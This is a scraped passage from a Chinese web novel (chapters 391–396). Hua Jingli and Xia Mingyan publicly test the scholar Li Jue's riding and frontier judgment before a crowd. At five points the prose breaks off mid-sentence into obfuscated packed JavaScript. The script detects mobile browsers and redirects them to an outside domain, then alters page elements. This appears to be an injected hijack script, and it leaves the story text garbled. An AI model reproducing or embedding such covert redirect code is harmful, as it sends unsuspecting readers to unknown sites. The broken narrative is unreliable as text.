李玦想振振自己的气势,奈何踮脚也不可能比华靖离高,周围看热闹的人越来越多,他愈发感觉面子上过不去,指着脚下的石阶就道: “华侯,好歹兄弟一场,就算兄弟之义断绝,你我也是平辈之交,你……怎能如此气势凌人?” “我如何气势凌人了?”华靖离皱眉,就连张礼岁都皱眉了。 但这世上就是有人要怜悯李玦这样的“弱者”,那吕家的事虽然元京府已经张榜告知了案情和对何夫人的处置结果,可在这些人眼里李玦是受连累的。 在这些人心里,李玦是冠玉公子,身世堪怜、怀才不遇,从小他就受了自己亲生父亲老端侯的连累,现在又受了生母的连累。 不仅如此,公堂之上,自己的正室妻子非但不帮自己,还对自己和母亲大打出手,过后不见丝毫歉疚和弥补。 这夏明月当年与他可是青梅竹马的,当初李玦还因为夏家没有将夏明月许配给他,恼羞成怒,要另娶一个不相关的、体弱多病的破落户表妹进门占了正室的位子,好让后嫁进来的夏家嫡长女夏明嫣进门时只能做妾。 现在元京的这些百姓和高门人家都已经认可了夏明嫣了,倒是没有人说是她本人不配做正妻,李玦才打算如此羞辱她的。 可正因为夏明嫣这么好,李玦却还打算以贬妻为妾的方式羞辱她、反抗夏家,这不正说明李玦爱夏明月至深么? 他为了夏明月,都能做出这样的事了,可是夏明月呢,居然在成婚之后来了个大变脸,简直比唱戏的还能变,这分明就是翻脸不认人啊! 第391章论谁脸皮厚 现在在世人眼里,李玦有一个害他一直没能袭爵的爹,一个收买此刻杀了自己亲孙儿生母的娘,还有一个善妒、不识大体连夫君和婆母都敢当众殴打的妻子……这简直太可怜了! 再加上李玦如今一副可怜模样,身边便有人开始嘀咕着为李玦抱不平。 “好歹做过那么多年的兄弟,这才多久就居高临下的了。都是元京场面上的人,将来李世子袭了爵,也是要上朝的。” “就是,这抬头不见低头见的,多尴尬。做人留一线,日后好相见嘛!” “可是……这石阶的宽度只能同时并排站两个人,李世子他也站不上去啊。” 众人这才看去,现在的衣裳都是宽幅大袖的,那石阶上的确站不下三个人,往常人们上下楼时,要是迎面走来两个人,都得其中一个人让一让。 在场的人好生尴尬,华靖离没动地方,只垂眸看向这么站着比他矮了好几头的李玦: “即便不是兄弟了,也还是姻亲,你有话说,不到府里去说,也不肯进里面去,一定是遇上大事了,说吧。” 李玦脸上露出一种悲愤:“华侯,你病愈之后我曾去你府上看望,你曾应承,之后会让我与贵府二公子一道去北疆军中历练,不知此承诺可还作数?” 张礼岁听得眼睛都睁大了,他怕华靖离不好开口直接拒绝,没等华靖离开口便插嘴道: “李世子,如今华二公子已经不去北疆了,也不打算从军,何来一起之说?” 这话说得委婉,但就算按字面理解,也在理,别人家孩儿要去远处的书院念书,你家孩儿担心路上不方便却因为家境不行,家里无人护送,便要与那家的孩儿同行。 原本那家也同意了,可是事情有变,那家孩儿不去书院了,难不成那家还要专门为了这家的孩儿派了人出去,单独送这家的孩儿去? 这个道理在场的大多数人都懂,李玦自然也懂,所以他趁着围观的人还来不及开始议论的时候,抢先开口: “华侯,华二弟如今已经有了他自己的前程,可是这不应该影响你对我的承诺。我们端侯府的确有对不起华二弟的地方,可是我事先并不知情。” “去军中历练,也不止是为了我自己的前程,这也是为大恒举才、为大恒效力啊。难道华侯要因小情而失大义,就这样断了我的前程和为朝廷举荐人才的机会?” 把私下里的承诺抬高到为朝廷举荐人才的高度,的确聪明,就连华靖离都要为他叫好了。 围观的人更是议论起来,就是之前站在华靖离这边的也有人变得犹豫了。 毕竟李玦这个人有举人功名,平日里多有惊艳的词句在元京流传,要说去军中多少都是要跟“武”沾边儿的,可是李玦虽然不会武,可他是老端侯之后,说不定还可以现在开始学呢? 就算他不学武,这军中之人也不是个个都要直接领兵打仗的,也是有不需要动武、运筹帷幄的位子的,说不定他真就能有一番作为呢? 华靖离对朝廷忠心可鉴,往日也为朝廷举荐过不少人才,那些人很多都跟他和华家没有任何关系。 李玦,再是割袍断义了,他们也还是姻亲,有这份关系在,帮这么个忙,不为过。 何况华靖离自成婚之后,整个人和软了许多,也正因为这一点,缓和了他跟东宫的关系,他应该继续维持下去才是。 张礼岁这回也不好帮他说话了,华靖离却只微微动了下眉梢,反问道: “为朝举贤是我该做的,可虽说举贤不避亲,可历代‘举贤’但凡牵扯了亲缘或是关系较近的友人,这人都得是在任职的方面有大才的。” “北疆如今战势虽已缓和,可依旧有少量敌寇游勇出没,你并未习武,也没有过军中督粮、监察的经验,也没有与祁笛谈判的经验。你这样的‘才’,我恐怕不适合举荐。” 这么想想,的确如此,那些举贤不避亲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963106|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所举荐之人可都是比那些非亲非故的要更有才华、更有作为的,要是跟非亲非故的一样,甚至还要差些,谁有脸举荐啊。 虽然在场的人很多都对李玦抱有幻想,可他们也不得不承认,这种事儿不能只靠说,要是拿不出实际的东西来,也的确不好办。 李玦知道成败在此一举,大庭广众之下最容易成事儿,他一鼓作气地道: “**名,我是举人,论武,君子六艺,我也并非全然不会,且受祖辈影响,我自小熟读兵书,在御青书院擢选时,我的策论和行军策略也名列前茅。” “我并不要求高位,只求一个去北疆立身的机会,难道华侯就真的不肯举荐?” 眼看着华靖离又要被架起来了,张礼岁压低了声音对他说:“华侯,要是宫里没说不许,要不然就让他去吧。给他安排一个不紧要的位子,面子上过得去就行了。” 华靖离笑了一下,如此交代倒是可以,可是他不打算这样……而且他还有别的安排。 华靖离的目光越过围观的人,看着夏明嫣领着几个人从不远处的马车上走了下来,拿了东西朝他们走来。 围观的人主动分出一条路来,并且尊重而热络地称夏明嫣为华侯夫人,因为云翠居安顿退军家眷的事,尽管他们都不是军户,也因为周围有这样的人对夏明嫣熟悉起来。 现在的夏明月、端侯世子夫人的形象刚刚从高门贵女变成了侯门泼妇,而夏明嫣则不同了,她现在很有烟火气,别人对她该尊重的时候尊重,该对她亲切的时候就亲切。 这里面还有董氏一番功劳,要是不是她这个被元京高门嫌弃土气的婆母,她也没这么快跟这些元京百姓打成一片。 夏明嫣走过去时,李玦也向她见礼,叫了她一声“嫂嫂”。 “妹夫,刚才府里的侍女出来买东西,听到这边有动静,知道你们在闹,赶紧回去报了我。你们快别吵了,多大点儿事儿。” 第392章拎出来遛遛 李玦叫夏明嫣“嫂嫂”,受从华靖离是他义兄这边叫的,而夏明嫣称他为“妹夫”,失宠夏明月这边叫的。 现在李玦跟华靖离已经割袍断义,虽说不是特别讲究的场合依旧称呼一声“嫂嫂”也无甚大碍,可夏明嫣既然这么说了,便是当着众人的面宣布了,这份兄弟之情和结义的名分一起彻底断了。 偏偏华靖离从头到尾都没阻止夏明嫣,还道:“夫人来了,正好来给我们评评理,妹夫非要到北疆去。原本靖和要去,也不单止他一个人,这族里和城里的一些军户子弟都是要一起去的。” “我想着送他一起去,大家有个照应,也不怕什么了。可如今靖和不去了,其他人也被东宫安排去监理护城河修缮了,就他一个人。他一个书生,怎能放心。” “要是出了事了,两家刚发生了那样的事,这还不得被人说我挟私报复?城里那些个说书匠,又要不放过我了。” 在战事平息时,军户都是就地安置的,以北疆现在局势,已经不需要大批人手效力了,华家也就不应该单为了李玦一个人就派一支人马前去护送。 李玦仿佛心诚至极,他退而求其次地拱手道:“华侯要旅行承诺,不必派一支人马送我去,只需派位能帮忙接引的护卫即可。” “其余北行辎重和人手一律游我端侯府自行负担,不劳贵府费心,不知这样是否可行?” 什么都不用华家负担,这样应该不过分了吧?围观的人有不少都在说了,既然李玦都这般诚心了,又不需要华家付出什么,答应了就算了,实在不必把人逼得非得在大庭广众之下放下尊严的地步。 懂的人却开始嘀咕了,既然只要华家一个护卫,一个护卫而已,难道端侯府自己就不能多带一个护卫吗? 说白了,还不是要这个护卫代表华靖离,要用华靖离和华家军的颜面开路,军中可是很讲派别出身的,在北疆,有了华家作保,她李玦能多得好多的便利。 不过,这么一点颜面,或许对于华家来说也不算什么。 吕家那些事儿在高门当中无伤大雅,过不了两年就会被淡忘了,李玦有楚霆孝和夏庸提携,袭爵是早晚的事。 割袍断义已经把华靖离和端侯府的关系闹得很僵了,毕竟是连襟,用这么个机会缓和一下,也未尝不可。 可也有人担心,李玦借华家的面子不会只有这一次,只怕会一借再借,要是这样的话,到时候再捞一个大功劳回来,这当中的人情可就不好论了。 张礼岁也低声劝华靖离:“军中不比朝中一个萝卜一个坑,那边人多,要不就让他去,他也未必就能怎样……” 华家在北疆有办法帮助一个人出头,同时,也能让一个人待在那里,几年下来却没有大的进益。 这样在大庭广众之下给了他面子,还能让他暗中吃瘪,也是一种不错的选择。 张礼岁是真心为华靖离着想的,小人不能得罪,不如面上答应下来,之后再想法子。 华靖离示意他稍安勿躁,看向夏明嫣笑着道:“从前我这人运道不好,除了行军打仗,没几件顺心的事儿。自从取了夫人,就不一样了,我抬抬手,一个眼神儿,她就能明白我的心意。” “这不,她把东西都带来了,刚好让大伙儿做个见证,看看该不该让他去北疆。” 夏明嫣看了身后的人一眼,这茶肆下面有一片平地,这里有茶肆自己摆出来的茶叶摊子和茶宠,都是给不在茶肆喝茶而是要把茶叶带回去的客人准备的。 掌柜很会做买卖,还把另一边租给了卖小吃和玩儿杂耍的,这样他们也不必养杂耍和曲艺班子,客人要是有需要,直接就可以叫他们进去在里面的院子演。 今日郭林和秋果都过来帮忙了,接收到夏明嫣的眼神授意,他们二人立刻忙碌起来。 秋果负责让那些摊子都把各自的木车、桌子移一移,把中间的场子空出来,然后每个摊子给了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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围观的人还没走干净,还有刚从茶肆里出来看热闹的,这石阶上有人下来不说,就是石阶下面走过的人这时候也听到了华靖离的话。 这些人纷纷停下来看向李玦,李玦没想到华靖离会一点面子都不给他,从牙缝里挤出几个字。 第393章比啥输啥(上) “我自然不怕,只是华侯如此较真,就不怕又被人世人说不近人情?就不知太子殿下会不会对此有疑虑了。” 谢维之前便觉得华靖离是自己父皇的心腹,他父皇年事已高,百年之后,华靖离定当成为辅政大臣之一,定然会压他一头。 他又听闻了许多华靖离的传闻,为数不多的那几次与面对华靖离的时候,他也只看到华靖离不苟言笑的一面。这对于一个刚刚迈入少年阶段的太子来说,会觉得这样的一个人只会束缚他,不肯听取他的想法,只把他当作一个架在龙椅上的傀儡。 现在这种情况好不容易转变了,谢维终于开始愿意了解华靖离是个什么样的人了,而且他们两个本来就是平辈,只是年纪差得稍微大了些,如今大有交好的趋势。 可是谢维跟华靖离的关系还并没有稳固,这时候要是华靖离给世人的印象再次扭转过来,之前做的一切都将前功尽弃。 李玦以为用这么大的利益总能拿捏住华靖离了,华靖离却道:“世子妹夫,你这回可是真的误会我了。你一直以来都以文弱书生的形象示人,你看看你这副样子,哪里像能去军中历练的?” “而且你不是按例征召,你是毛遂自荐,没几分本事让元京的人都看看,是不能服众的。正好展示一下,让大伙儿都看看……该不会是你怕了吧?” 他刻意压低了声音,就像真在给李玦安心一样,“这儿地方小,施展不开,你有本事,只需小试牛刀即可。你是有能耐的,一定能行!” 李玦文采上或许还能糊弄过去,尤其再出一两个好听、上口的佳句,一旦这城里开始口耳相传了,就算比试的结果要差一些,也能因此添彩。 要论诗才,尤其说作那些针砭时弊的诗词,李玦着实一般,可是他会做那种写花啊、鸟啊、佳人之类的词句。 要说整首下来,他恐怕得思量两三日可得,也不见得通篇都是文采,但这当中有一两个断句的确朗朗上口。 可是看下面场子上的布置,根本就没有桌案、纸笔,显然是没有文试的。就算有,估么这也是考策略,一问一答即可,不需要纸笔。 华靖离不等李玦作答,就先一步拾阶而下了,李玦这时候也没闲工夫斗嘴了,跟在他后面落后了五步的位子走着。 李玦刻意走得慢了些,他借着这个空档设想着一会儿可能面对的考校,开始给自己如何应对做准备、打腹稿。 下面的场子已经准备好,场子靠近茶肆的这一边放了六个靶子,那边的路清了出来,这第一关便是骑马射箭,没什么新奇的。 李玦先是一愣,他倒是经常去城外骑马散心,可是这射箭……还是骑马射箭已经很久没有过了。 于是,结果可想而知,六个靶子,中了三个,其中一个接近靶心,有一个只是勉强挂在靶上…… 众人一片唏嘘,不过也还好,因为李玦本就文质彬彬的,不擅长射箭也在情理之中。因此,还是有人为他较好、鼓励他的。 李玦下了马脸色发白,郭林却用降缰绳挽住马头,挡住了李玦的路。 李玦看向不远处的华靖离和夏明嫣,压着火气问道:“华侯,这是何意?你已说了,北疆战事已歇,那么我即便去了,也难有机会沙场征战,这骑射之术也未必需要那般精进吧?” 事实上是这么个道理,可是沙场比起这些太平的城池,最关键的就是多了许多的变数。 别看现在祁笛被打老实了,准备跟大恒和谈,祁笛的势力可不止一股,他们之间一直有纷争,万一哪天谁来“串个门子”,劫掠些什么,这遇上了总得抵抗一番。 就算不是武将,没有抵抗的能力,要是会些骑射,也更有可能拖延一下时间,之后借机逃回去报信。 华靖离也不解释这些,只笑了一下道:“李世子若是觉得这骑射不够实用,也罢。这北疆多山地,若非武将,多要负责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968743|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运送辎重、粮饷,或是来往与营寨与营寨之间传递消息。” “山路难行,冬日里容易遇上大雪、大风,春夏之季又容易遇上雨水、泥泞,要想赶上行程,这驭马之术可不能马虎。” 夏明嫣也笑着用目光指着往场上搬东西的护卫:“妹夫,这么多人来给你做见证,也不好带到城外有山、有河的地方去,就勉强弄了几个门槛、木桩子,绕着跑跑。” “我虽没去过北疆,可从卢阳回元京这一路上可不是白走的,赶车的师傅是个老把式,可说了这骑术在山路、丘陵和平坦的地方是不一样的。” “你即便不用去沙场厮杀,也少不了来回奔波,这马骑得好不好也是很重要的。何况咱们这儿才几步路,你就让大家看看你的本事呗。” 要是到了北疆,一望无际的草原和丘陵,时不时地还有山路要走,这可就不仅要考验骑术了,还得考验这个人的体力和求生能力呢。 这要是遇上要走远路的时候,骑着马是不能带太多东西的,那就得吃着肉干、炒米就着水度日。 要是迷路了,或是冬日里遇上大雪拦山,夏日里遇上山洪甚至泥石流,行程耽误了,食物就会不够吃,那还要就地取材,挖野菜、摘蘑菇、打猎,能不能活下来就得看自己了。 李玦这样的,没个下人、亲随在身边,着急了,他怕是得饿出毛病来。 当然了,李玦可以带自家的亲随去,可是这些年端侯府为了麻痹圣听,也为了隐藏实力,面上根本就没养什么得力的人。 这要是冒然出现一个文武双全的亲随,还拼死护着李玦,要是每个合适的由头,还真解释不清楚。 这样以来,去北疆之后,李玦至少在刚开始的时候,明面上没人帮他,他都得靠自己。 考个骑术,加上一些难度并不高的障碍,着实不是什么问题。底下便有人叫嚷起来,有的还开始起哄,都让李玦给大家露两手。 第394章比啥输啥(中) 李玦没法子,只能重新上了马,他尽量小心地放慢了速度,在那些制造障碍的器物间穿行着。 他只在小时候做过这样的训练,好些年没这么骑过了,几次都差点摔下马。更要命的是,不知道是不是他每次越过或绕过障碍时缰绳勒得太紧了,这马都要突然扬一下前蹄。 要是前蹄高扬也就罢了,那样的话便是马匹受惊了。可偏偏就是那么只有人腿高的一下子,又继续依照他的指令向前,这就好像是他的骑术不好似的。 华靖离看了夏明嫣一眼,又转过头来,继续含笑望着场中的李玦,低声道:“这是下了什么东西了?” “一点蛊粉,我很有分寸的。”夏明嫣一语双关地道。 这样的分量,既摔不着李玦,不给他装可怜的机会,还能让他出手。不过,他本身骑术就不佳,她只是放大了他的缺点罢了。 之前热闹闹得大,周围大户人家出门采买的下人已经把消息传了回去,现在在这儿围观的可不止这附近的百姓、商贩和茶客、食客了,还有这些人家的公子、姑娘们。 尤其是那些姑娘们,不方便跟这些人挤着看热闹,便找了视野好的地方停了马车,就在马车里看。 这些个姑娘原是对李玦抱有很高的期待的,尤其是她们平日里也是书馆的常客,她们听惯了才子一时受挫,之后重整旗鼓、大展宏图的话本子。 这些日子李玦事事不顺,吕家的事更是人尽皆知,别看李玦在外面有孩子了,可在这些高门贵女的眼里,外室和外室之子都不过是个玩意儿,她们并没有放在心上。 要是李玦要是能得到华靖离的认可,能去北疆,她们都要为李玦正名了。要是华靖离没有公正地对待他,她们还要为他出头呢。 其他看热闹的各怀心思,他们想看到的不是李玦是否能够如愿以偿,而是李玦要是都能去北疆,他们是不是也能送些子弟过去。 就算不行,这端侯府得了这样的机会,要是华靖离一个人点头没用,要是李玦真去了北疆,就说明圣上也点头了……那是不是意味着,端侯府要翻身了? 这可是个大消息,华靖离在北疆还有一个称呼,叫做“北疆王”,而当年的老端侯是被称为“南疆王”的。 要是李玦真让端侯府翻了身,将来收拢旧部,就算不能重新拥有“南疆王”那般的势力,也是能有一方天地的,他们这些人家也得跟着动起来,至少不能再拜华靖离一个码头了,可是现在…… “骑个马都骑成这样,这还怎么去北疆?” “不是说北疆战事平息了么?接下来就是跟祁笛谈判还有修整工事和城池、抚慰百姓的事,再有就是清点、统计,也用不着这些吧。非要说能碰上,我看,机会也不大。” “那是你没打过仗,我年轻的时候可是跟着华侯的祖父去过北疆的,诶,你看什么看?我就是个负责记录粮草数量的……你是不知道,这里面好些事儿,马掌铁都要磨坏几块的。” 仗打起来的时候,要把各种东西运过去,打完了,得把剩下的送到附近的城池或守军那里存亡,各种来往交接,只是没有之前凶险,却并不轻松。 来回走动费自己的脚,也费马,这要是骑术不精,这中间摔了、伤了,你的活儿可未必就有别人替你,很多时候带着伤也得继续把事儿办完。 这倒也罢了,北疆地形多变,万一骑马出营之后出了问题,那地广人稀的地方,说不好几天都没人发现你,遇上狼群,弄不好连命都丢了。 这老者绘声绘色地讲着自己当年的经历,还说自己算是寻常人里骑马比较好的,到了那地方都是适应了一段时间才成的。 “你们是不知道,有一回往回送消息,这大营已经去了别处了,我在后面那个追啊,追了三天四夜,都没合眼。最后我就感觉自己是颠着过去的,还好老马识途。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970770|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等我找着大营的时候,还是我们头儿把我从马背上摘下来的,都没知觉了。” 有人便质疑道:“你说的这些是真的吗?你从军之前就会骑马?你到哪儿学的?” 这老者不是军户,一看那气质、身形,是通文墨的,这样的很可能是从吏员征兆过去的。 这时候一般人家不养马,自家的都是驴车或骡车,要用马都是从马行租,一般人也不会骑马。 这老者脖子一挺:“这还至于扯谎骗你了?你去城南坊市打听打听去,我爹和我岳丈家里都是马商,我那时还要帮着赶马、送马呢,哪里就不会骑了?” “可是这给人送马骑一骑,还有在城郊骑一骑,跟在那北疆完全不一样。我说句不雅的话,在那地方,不用三天四夜,就是骑上半日,你都会觉得自己的心肝肺啊、肚子里的肠肠肚肚都不在原来的位置上了,都往嗓子眼儿里跑呢!” 这一听便是真去过北疆的了,围观的人里也有年纪大了从军中下来的,纷纷给他作证。 在元京附近骑算什么,就算是林子里的地也是平的,那些山林地要么是黄庄占着,要么是谁家的,一般人骑马根本进不去。 这些人说得畅快,等议论得差不多了,才发现就连华靖离和夏明嫣都在看他们这边,华靖离还让郭林给这老者送了五十两银子。 这些话不用刻意引申,就已经给李玦的情况非常符合了,这李玦的骑术很可能都比不了这老者年轻的时候,这样的去了北疆怕是…… 接着李玦又展示了自己投掷、算学的能力,也就是算学还算不错,可去北疆统计粮饷军械,不是找个帐篷坐在那儿就完了的,真就是得东奔西跑。 这便罢了,郭林给李玦出了道考题:“打仗时,尽管各项统计都是尽心尽力做的,可难免也有对不上数儿的时候。可这仗打完了,作为监粮之人,你发现了这些问题,对方却拒不承认,你待如何?” 第395章比啥输啥(下) “我……我会询问清楚,拿出账目,比对出错的地方,问清原因。若是……缘由合理,就记下来上报,要是不合理,就让他们拿出来。” 李玦回答得很是中规中矩,听上去也很合情合理,周围便有人夸赞他起来,说他是个处事稳稳当、妥帖的人。 郭林便问了:“若是他们不肯说,让你去找他们的头儿,而又不让你见到人,或是干脆寻了别的由头搪塞你,你又打算怎么做?” 李玦朗声道:“按照北疆现在的情况,我去统计粮草剩余数目,也定是受了上官授意,军中军令如山,他们如何敢不答?” “他们若是不答,那便有违军令,定要受到惩罚。等到换了人来负责,我再问就是。” 华靖离和夏明嫣对视了一眼,这又是一个书生意气、纸上谈兵的人,要是这么就能处理好,这世道可真美好。 人群找那个有那些军户或是跟军中打过交道的商户也都闭口不言,被旁边的人问起时,要么笑而不语,要么摆手示意自己不想多说。 郭林继续问道:“那要是换下来的人依旧如此呢?你又当如何?” 李玦理所当然地道:“怎么会?人都换了,难道他们不怕上面责罚?都不想把差事办好?” 郭林眉头皱了皱:“要是瞒下此事得到的利益,远大于他们所受的责罚呢?李世子怕是并未熟知军中惩戒的条例……” 这也好理解,这数目对不上,不管出于什么原因,都是大事儿,可要是管事儿的统领不出面,只让下面的小卒出面。 这事儿显然不是这小卒犯下的,要治罪,也最多就是打二十军棍,可他们要是没能护住他们的头儿,之后从上到下治罪下来,可就不止这点惩罚了。 孰轻孰重,只要不是傻子,就都算得清楚。 至于这数儿对不上的原因可就多了,要说是贪了吧,这倒是好了,你不管不顾地追查下去,也就是一个人或是一伙儿人的罪责,出了事儿,影响范围也有限,一般不会酿成大祸。 可另一种就比较麻烦了,就是这缺失的部分不是贪了,而是实实在在的损耗。 比方说打仗的时候被祁笛给烧了,或是上头给粮时用小斗,也就是本身就发放不足,而这些兵将又都大多是壮小伙子,正是吃得多的时候,总不能让人家饿着肚子去干掉脑袋的事儿吧? 这吃的多了,给的还少,中间再因为气候和贮存问题损失了一些,数儿自然就对不上了。 这种情况下,你怪兵将,人家这是正当用途,只是为了不好交账,就按律处罚,其他营也或多或少有这样的情况。 这些人一想到自己用命杀敌,到头来就因为多吃了几口粮食就要获罪,或是没了军功,万一这当中再有什么变故,说不定就要引起哗变。 而且这些人也会叫屈,原本上头用了小斗的事没有追究,这回定是要追究的,上面的人还真能让你追究? 要是事情这么处理,最后只会演变成上面的人和这些兵将一起解决制造问题的人,这去处事的人反而会获罪,还什么都查不出来。 要是再不好些,上下都乱了,这军中的乱局一起,被刚刚打服了的祁笛又抓住机会卷土重来,那麻烦可就大了,定然又要祸及众多无辜的北疆百姓。 而朝廷好不容易熬过了这些年,战事再起,这粮饷辎重还有兵丁又要再征一回,遭罪的将会是整个大恒的百姓。 虽说军令如山,可要是凡事都这般可丁可卯地处理,在军中是行不通的。 尤其这些长年在沙场浴血奋战的这些人,他们的关系亲如兄弟,也会养出一些兵油子的**气,上上下下的关系铁的狠。 你不能说用命作战时,要用他们的**气和义气,仗打完了,就让人家立刻甩掉这身**气。 ……郭林还在和李玦一来一往地辩论着,围观的人中就有那从军中退下来多年的中年人,上来为郭林撑腰。 这些人当年能提前出来,就是因为伤病,上来的这二人一个瘸了腿,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974563|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个弓着腰,有模有样地模仿着兵油子的样子刁难李玦。 李玦从来没跟这样的人打过交道,被这二人捉弄得面红耳赤,手脚都不知道要往哪儿放了。 末了那瘸腿的感慨道:“小人要是喝了酒,拦着世子不让进,您是可以打小人二十棍子。可再来一个又把您引到荒野之地去,说是去见人,可把你一人留在那儿喂狼,回头只说以为你自己回去了。” “你说你有人证,可到最后谁也不会帮你。还有那把您引到茅厕去,把您关里面,一关关一夜,您到时候还有脸去计较么?这里面的事儿复杂的很,不是说几句就能查下去的。” “还有那些短了的粮食和消耗,是咱们愿意少了的吗?那都是吃用了的,或是正常损耗,再要么您再问问上头发粮的,看这事儿到底该从哪儿论?” 最后一句说得颇为大胆,可华靖离一直没阻止他们捉弄李玦,就算允许他们说下去的。 这回就连那些在马车里围观的闺秀们都听懂了,要是这么直不楞登地上去就查,什么都查不出,还得生乱。 围观的人也不是傻子,你要说平时在朝堂上非要搅乱一池浑水,或许还能说你是刚正不阿,可你在北疆那地方那样做,生了乱,你是刚正了,可百姓们和朝廷可就遭殃了。 就是那些想说这种时候就该宁死不妥协的,也觉得情况不对了。 说到底,但凡在元京的,就算是最底层的平头百姓也见过当年御史在宫门前跪了一片的情形,那些个御史慷慨陈词的情形如今还历历在目。 他们在心里一对比就清楚了,李玦这表现其实算不得刚正不阿,他这是理屈词穷、相形见绌。 人家御史能辩得对方理屈词穷,最后输了,那是为权势所迫。李玦呢,那是压根儿辩不过人家,拿人家一点办法都没有。 要说那些武人行事不雅,可别管你嘴上、心里怎么骂,要是真到了那个环境里,你就是办不出事儿了,转来转去,他们这些人也得跟着遭罪。 第396章更糟了 张礼岁在一边听着,一边也跟华靖离嘀咕,声音刻意稍微高了些,让周围围观的人也能听到些: “李世子要是去了军中可是要吃苦的,他给不了上峰交代,还连累上峰受辱,再让军中生乱,祸及百姓。这样的人再清正也不行,清正,不能耽误实事。” “他要是能把事儿料理了,等回了元京,上了折子,他想怎么清正就怎么清正,就是天天在宫门口哭喊,陛下都得忍让他几分。” “这事儿没做好,他是清正了,可你作为受了他连累的、受了苦甚至家里**人的,你还会欣赏他这份清正么?何况他这是清正,还是词穷……” 不用说下去也是有公论的,好多之前想着就该只要清名的,这会儿一想到自己家就算不**,也得多出税银,就不说话了。 这人群中就有人说出“百无一用是书生”的话了,现在的很多人为了考功名,几十年都在一个地方读书,他们既没有历练的机会,也没机会接触那些见多识广的人,他们办起事儿了的确经常让人头疼。 人们再钦佩清正严明之人,要是这人不能把事儿办好,还害了很多人,也没多少人还会打从心底里认他的好了。 但要说书生都无用也不对,很多书生心眼还是活络的,只是缺乏锻炼而已。而且这些**部分一旦接触到了实际的差事,因为读的书多,之后的潜能也会更大。 夏明嫣没打算让这些把事儿从李玦一个人头上扯到全天下的读书人身上去,便冲着郭林道: “李世子是在元京长大的,不像你们侯爷,十三就去了北疆,你换个问题问他,别让他觉得自己又被欺负了。要不你问些常识,他既然如此想去北疆,应该之前也有所了解。” 这就是了,就算是去买菜,买一样从前没吃过的,你也得先问问提要求的人,这菜长什么样,是做什么菜吃的。 李玦要是连这些都说不出来,那还是别去了,去了不仅立不了功,还得被当成累赘。 这当中有些从前心悦他的高门闺秀还暗暗替他担心,当累赘不可怕,那地方荒凉的很,周围都是别人的人,万一人家不想要他这个累赘了,把他收拾了,就说出了意外,或是遇上祁笛的散兵了,那是连死都死不明白的。 郭林不给李玦拒绝的机会,直接便道:“那么敢问李世子,冬日里,下过大雪之后,假设你孤身一人离开营地之后迷路,意外遇见同样迷失方向的一伙儿祁笛散兵。” “你爬上你不远处的山,在半山腰就能看见咱们的营地,你打算如何报信让营地里的弟兄们知道?” 李玦刚才被逼得太紧了,听到问题,他不敢想太久,像是这么简单的问题他都应对不了似的。 他也想得简单,既然用眼睛都能看到营地,那就没多远,就像他去城外的山上打猎,也会在半山腰上跟山脚下的护卫喊话一样。 于是,李玦脱口就道:“离得不远,高声呼喊即可。再不行,就点火,剪些树枝,生火报信。” 李玦话音刚落,周围鸦雀无声,这回无论是觉得他说的对的还是觉得他说的不对的,都没说话。 “报信么,又是一个人,没人能帮他传信,也只能这样了。他这回算是说对了……可是这问题也太简单了,就是我家那四岁的儿子也能想到,这李世子回答得也太大声了。” 像是立了啥大功,有啥特别的奇思妙想似的……这有啥好大声嚷嚷的嘛! 这有的人发现端倪了:“对什么对,老兄,你定是没在冬日里去过北疆。刚才郭统领都说了,是大雪之后。这山上、地上可都是积雪,尤其山上的,还有之前的积雪未化,这种情况你还敢大声嚷嚷?” “就算你想跟祁笛人同归于尽,也不能用这种方式。大声嚷嚷,一旦发生雪崩,就跟泥石流一样,你可控制不了方向。” “这雪下来,要是把你跟祁笛人一块儿埋了,倒也罢了,横 